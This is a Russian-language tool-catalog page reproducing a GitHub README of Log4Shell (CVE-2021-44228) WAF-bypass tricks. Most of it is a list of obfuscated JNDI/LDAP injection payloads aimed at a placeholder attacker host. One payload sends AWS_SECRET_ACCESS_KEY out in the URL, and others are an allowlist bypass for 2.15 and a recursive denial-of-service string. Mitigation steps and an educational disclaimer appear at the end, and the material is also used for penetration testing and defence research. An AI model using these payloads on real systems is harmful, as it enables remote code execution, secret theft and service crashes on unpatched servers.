Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java эксплойт - трюки обхода WAF | Kitploit
Инструменты/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбход IDS/IPSЭксплуатация веб-приложенийОбход WAFТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java эксплойт - трюки обхода WAF

Репозиторий
9501344 лет назадПроверено Kitploit
🤝 Выразите поддержку - поставьте ⭐️, если вам понравился контент | ПОДЕЛИТЬСЯ в Twitter | Подписывайтесь на меня в

🐱‍💻 ✂️ 🤬 LOG4J Java exploit - трюки обхода WAF и патчей

📝 Описание

CVE-2021-44228 работает на:

log4j: 2.0 <= Apache log4j <= 2.14.1

Версии Java уже исправлены: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender начал удалять .java файлы, содержащие jndi:ldap:....

Простой скрипт атакующего (Возможное RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF или разработчики начали блокировать фразы:

  • "ldap:"
  • "jndi:"

для защиты приложений.

Однако атакующий может обойти это, используя одну из следующих техник:

1. Системные переменные окружения

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Из документации Apache Log4j 2: ${env:ENV_NAME:-значение_по_умолчанию}

Если системная переменная окружения ENV_NAME отсутствует, используется текст после :-

Атакующий может использовать любое имя вместо ENV_NAME, но оно не должно существовать.

Или хакер может прочитать переменную окружения, например, для AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Ознакомьтесь с большим количеством секретов в 🦄🔒 Замечательный список секретов в переменных окружения 🖥️

Вы можете проверить системные переменные окружения:

  • В Windows выполните в PowerShell: dir env:
  • В Linux/MacOS выполните в терминале: printenv или env

2. Lower или Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup LowerLookup преобразует переданный аргумент в нижний регистр. Предположительно, значением будет результат вложенного поиска.

${lower:<текст>}

Upper Lookup UpperLookup преобразует переданный аргумент в верхний регистр. Предположительно, значением будет результат вложенного поиска.

${upper:<текст>}


3. Нотация "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Недопустимые символы Unicode с верхним регистром

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı преобразуется в i


5. Системные свойства

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

Если системное свойство SYS_NAME отсутствует, используется текст после :-


6. Нотация ":-"

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Дата

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

Форматирование даты в Java преобразует YYYY в 2021, но преобразует 'YYYY' в YYYY или 'j' в j.


8. HTML URL кодирование

Замените символы:

  • } на %7D
  • { на %7B
  • $ на %24

Подробнее читайте здесь HTML URL Encoding Reference


9. Несуществующий lookup

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

Он не проверяет существование lookup и просто использует значение по умолчанию.


10. Полиморфный (JSON REST API запрос)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"По отдельности эти ключи и значения не представляют атаку. Но все вместе они образуют атаку, и эта атака прозрачна для систем обнаружения из-за парсера JSON." Читать далее...


11. Символы Unicode (JSON REST API запрос)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Преобразуйте некоторые символы в юникод.

Конвертер Unicode онлайн


12. Трюк с # (работает на log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Обход проверок allowedLdapHost и allowedClasses в Log4J 2.15.0. Метод java.net.URI getHost() возвращает значение до # как реальный хост. Но резолвер JNDI/LDAP будет резолвить полное имя хоста, пытаясь подключиться к вредоносному LDAP-серверу.

Читать далее...


13. DoS атака (Работает на log4j 2.8 - 2.16 - CVE-2021-45105 )

${${::-${::-$${::-j}}}}

Если по какой-либо причине будет предпринята попытка подстановки строки в следующей строке, это вызовет бесконечную рекурсию, и приложение упадёт.

Читать далее...


14. PDF как канал доставки.

Создайте специальный PDF-файл для эксплуатации CVE-2021-44228

PDF example

Получить PDF-файл и узнать больше...

Тестирование

Для тестирования входа можно использовать:

  • https://canarytokens.org/generate - Выберите токен Log4Shell (уведомление о входе будет отправлено по email или webhook), сгенерируйте и замените somesitehackerofhell.com/z
  • https://dnslog.cn/ - Сгенерируйте поддомен и замените somesitehackerofhell.com/z

✨ Лучшее решение для защиты от CVE-2021-44228

tl;dr Обновитесь до log4j-2.17.1 или новее.

Смягчение Log4j 1.x: Log4j 1.x не имеет Lookups, поэтому риск ниже. Приложения, использующие Log4j 1.x, уязвимы к этой атаке только при использовании JNDI в своей конфигурации. Для этой уязвимости назначен отдельный CVE (CVE-2021-4104). Для смягчения: проверьте конфигурацию логирования, чтобы убедиться, что в ней не настроен JMSAppender. Конфигурации Log4j 1.x без JMSAppender не подвержены этой уязвимости.

Смягчение Log4j 2.x: Примените одну из описанных ниже техник смягчения.

  • Пользователям Java 8 (или новее) следует обновиться до версии 2.17.1.
  • Пользователям, которым требуется Java 7, следует обновиться до версии 2.12.4, когда она станет доступна (работа ведётся, ожидается в ближайшее время).
  • В противном случае удалите класс JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class и удалите ссылки на Context Lookups, такие как ${ctx:loginId} или $${ctx:loginId}, если они поступают из внешних источников, например HTTP-заголовков или пользовательского ввода.

Обратите внимание, что уязвимости подвержен только JAR-файл log4j-core. Приложения, использующие только JAR-файл log4j-api без log4j-core, данной уязвимости не подвержены.

Источник и читать далее...

Берегите себя!

🤝 Выразите поддержку

🤝 Выразите поддержку - поставьте ⭐️, если вам понравился контент или мем | ПОДЕЛИТЬСЯ в Twitter | Подписывайтесь на меня в

log2

📝 Полезные ссылки

  • Руководство пользователя Apache Log4j 2 v. 2.15.0
  • Возможная первая публикация обхода lower/upper
  • CVE-2021-44228 (Apache Log4j Remote Code Execution - Удаленное выполнение кода)
  • HTML URL Encoding Reference
  • GitHub Reviewed CVE-2021-44228 - Внедрение удаленного кода в Log4j
  • Уязвимости безопасности Apache Log4j
  • Программа log4j-detector - Обнаруживает версии Log4J в вашей файловой системе в любых приложениях, уязвимые к CVE-2021-44228 и CVE-2021-45046
  • Полиморфный эксплойт Log4J, являющийся валидным JSON REST API запросом
  • Обход NGFW/WAF с помощью обфускации формата данных
  • LOG4J2-3230 Определенные строки могут вызвать бесконечную рекурсию
  • Вот PoC обхода проверок allowedLdapHost и allowedClasses в Log4J 2.15.0
  • 🦄🔒 Замечательный список секретов в переменных окружения 🖥️
  • Эксплуатация CVE-2021-44228 с использованием PDF в качестве канала доставки - PoC

🙌 Благодарности пользователям за вклад

  • Все участники
  • Whatsec за дополнительные примеры обходов
  • manjula-aw за улучшение раздела безопасности
  • juliusmusseau за ещё один пример обхода

✔️ Отказ от ответственности

Этот проект может использоваться только в образовательных целях. Использование данного программного обеспечения против целевых систем без предварительного разрешения незаконно, и автор не несёт ответственности за любой ущерб, возникший в результате неправильного использования.

Я не являюсь автором CVE-2021-44228 и некоторых обходов.

Скачать инструмент